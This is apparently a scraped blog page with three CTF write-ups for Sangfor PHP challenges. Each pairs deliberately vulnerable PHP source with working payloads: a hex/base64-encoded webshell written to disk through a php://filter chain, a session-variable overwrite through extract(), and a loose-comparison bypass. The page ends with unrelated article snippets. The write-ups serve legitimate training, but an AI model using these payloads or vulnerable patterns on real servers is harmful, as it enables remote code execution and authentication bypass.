PHP-综合3

news/2025/2/8 18:40:08/

[题目信息]:

题目名称题目难度
PHP-综合32

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{IoOvaUFeUjE1Lt2hatHL_z9uKyTLu0Cn}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2047

[题目writeup]:

1、实验主页

uploading.4e448015.gif正在上传…重新上传取消

2、源码分析

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}

前置知识

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

分析代码逻辑,首先,get传参v2和v3,post传参v1;在if条件判断中需要v4为真才能往下执行。

若想使v4为真,v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));

/*运行结果
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
bool(true)
*/

<?=是php的短标签,是echo()的快捷用法

由于在题目代码中,substr()取得是从下标为2开始的字符串,所以在16进制前面加00两位数

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

POST:
v1=hex2bin

再访问dotast.php即可查看到flag









[题目信息]:

题目名称题目难度
PHP-综合22

[题目考点]:

PHP综合训练

[Flag格式]:

Sangfor{get_make_session}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2029

[题目writeup]:

1、实验主页

2、源码分析

<?php 
# GOAL: get the key from $hidden_password[207]  
session_start();
error_reporting(0);

function auth($password, $hidden_password) {
$res = 0;
if(isset($password) && $password != "") {
if($password == $hidden_password) {
$res = 1;
}
}
$_SESSION["logged"] = $res;
return $res;
}

function display($res){
$aff = htmlentities($res);
return $aff;
}

if(!isset($_SESSION["logged"]))
$_SESSION["logged"] = 0;

$aff = "";
include("config.php");

foreach($_REQUEST as $request) {
if(is_array($request)) {
die("Can not use Array in request!");
}
}

$password = $_POST["password"];

if(!ini_get("register_globals")) {
$superglobals = array($_POST, $_GET);
if(isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach($superglobals as $superglobal) {
extract($superglobal, 0);
}
}

if((isset($password) && $password != "" && auth($password, $flag) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)) {
$aff = display("$flag");
} else {
$aff = display("Try again");
}
echo $aff;
show_source("index.php");

分析代码逻辑,输出flag一共需要几个条件。要么同时满足$password变量存在并且值不为空,auth()函数对$password和$flag处理返回值为1;要么$_SESSION不为数组并且$_SESSION[“logged”]的值为1。

这里要想auth()函数返回值为1必须得$password和$flag相等,不太好绕过。所以直接考虑第二种条件,令$_SESSION不为数组并且$_SESSION[“logged”]的值为1。

?_SESSION[logged]=1
post
_SESSION=1









[题目信息]:

题目名称题目难度
PHP-综合12

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{zMGqGjPnDbKyA7rdUHbZSr_GR-MYbwx2}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2075

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'sangfor'){echo file_get_contents("flag.php");}}}
} 

分析代码,可以看到我们最终的当然是让程序执行echo file_get_contents("flag.php");

那么就需要满足条件intval($code) == 'sangfor',观察代码发现是弱比较便是我们突破的点。

首先PHP弱比较中字符串和数字比较时,字符串会先进行类型转换,转换为’0’。由此可见我们需要将

intval($code)构造为0。从前面的学习可知intval函数是取整函数,intval()函数会将非数字或非数字字符串转换为0,也就是我们传入的f1和f2互相构造即可,我们可以构造一个md5,这样intval就会返回0

测试代码

<?php

if(intval(md5(md5())) == ‘sangfor’){
echo 123;

        } 

?>

//输出 123

构造payload:

f1=md5&f2=md5


http://www.ppmy.cn/news/1570379.html

相关文章

Oracle迁移到MySQL

Oracle迁移到MySQL业务需要全面改造适配&#xff0c;数据库对象和业务SQL语法需要一对一映射分析如何改写&#xff0c;根据业务使用实际情况评估改造适配成本较高。 目前&#xff0c;已有数据库产品能力缺少自动化迁移工具&#xff0c;需要依赖生态产品能力&#xff0c;比如云和…

leetcode_78子集

1. 题意 给定一个不含有重复数字的数列&#xff0c;求所有的子集。 2. 题解 子集型回溯&#xff0c;可以直接用dfs进行搜索&#xff1b;也可以用二进制来进行枚举。 2.1 选或不选 class Solution { public:void dfs(vector<vector<int>> &ans,vector<i…

Swipe横滑与SwipeItem自定义横滑相互影响

背景 vue项目&#xff0c;H5页面&#xff0c;使用vant的组件库轮播组件<Swipe>&#xff0c;UI交互要求&#xff0c;在每个SwipeItem中有内容&#xff0c;可自横滑&#xff0c;查看列表内容 核心代码 <template><Swipeclass"my_swipe":autoplay&quo…

tcp/ip网络协议,tcp/ip网络协议栈

TCP/IP网络协议和TCP/IP网络协议栈是互联网通信的基石&#xff0c;它们定义了电子设备如何连入因特网以及数据如何在它们之间传输的标准。以下是对TCP/IP网络协议和TCP/IP网络协议栈的详细解释&#xff1a; 一、TCP/IP网络协议 TCP/IP&#xff08;Transmission Control Proto…

科技赋能数字内容体验的核心技术探索

内容概要 在数字化时代&#xff0c;科技的迅猛发展为我们的生活和工作带来了深刻的变革。数字内容体验已经成为人们获取信息和娱乐的重要途径&#xff0c;而这背后的技术支持则扮演着至关重要的角色。尤其是在人工智能、虚拟现实和区块链等新兴技术的推动下&#xff0c;数字内…

硬件电路基础

目录 1. 电学基础 1.1 原子 1.2 电压 1.3 电流 1.电流方向&#xff1a; 正极->负极,正电荷定向移动方向为电流方向&#xff0c;与电子定向移动方向相反。 2.电荷&#xff08;这里表示负电荷&#xff09;运动方向&#xff1a; 与电流方向相反 1.4 测电压的时候 2. 地线…

【算法】动态规划专题⑥ —— 完全背包问题 python

目录 前置知识进入正题模板 前置知识 【算法】动态规划专题⑤ —— 0-1背包问题 滚动数组优化 完全背包问题是动态规划中的一种经典问题&#xff0c;它与0-1背包问题相似&#xff0c;但有一个关键的区别&#xff1a;在完全背包问题中&#xff0c;每种物品都有无限的数量可用。…

VeryReport和FineReport两款报表软件深度分析对比

在当今数据驱动的商业环境中&#xff0c;报表软件已经成为企业管理和数据分析的重要工具。无论是中小型企业还是大型企业&#xff0c;都需要依赖高效的报表工具来快速生成、分析和展示数据。市面上有许多报表工具&#xff0c;其中VeryReport和FineReport是两款备受关注的国产报…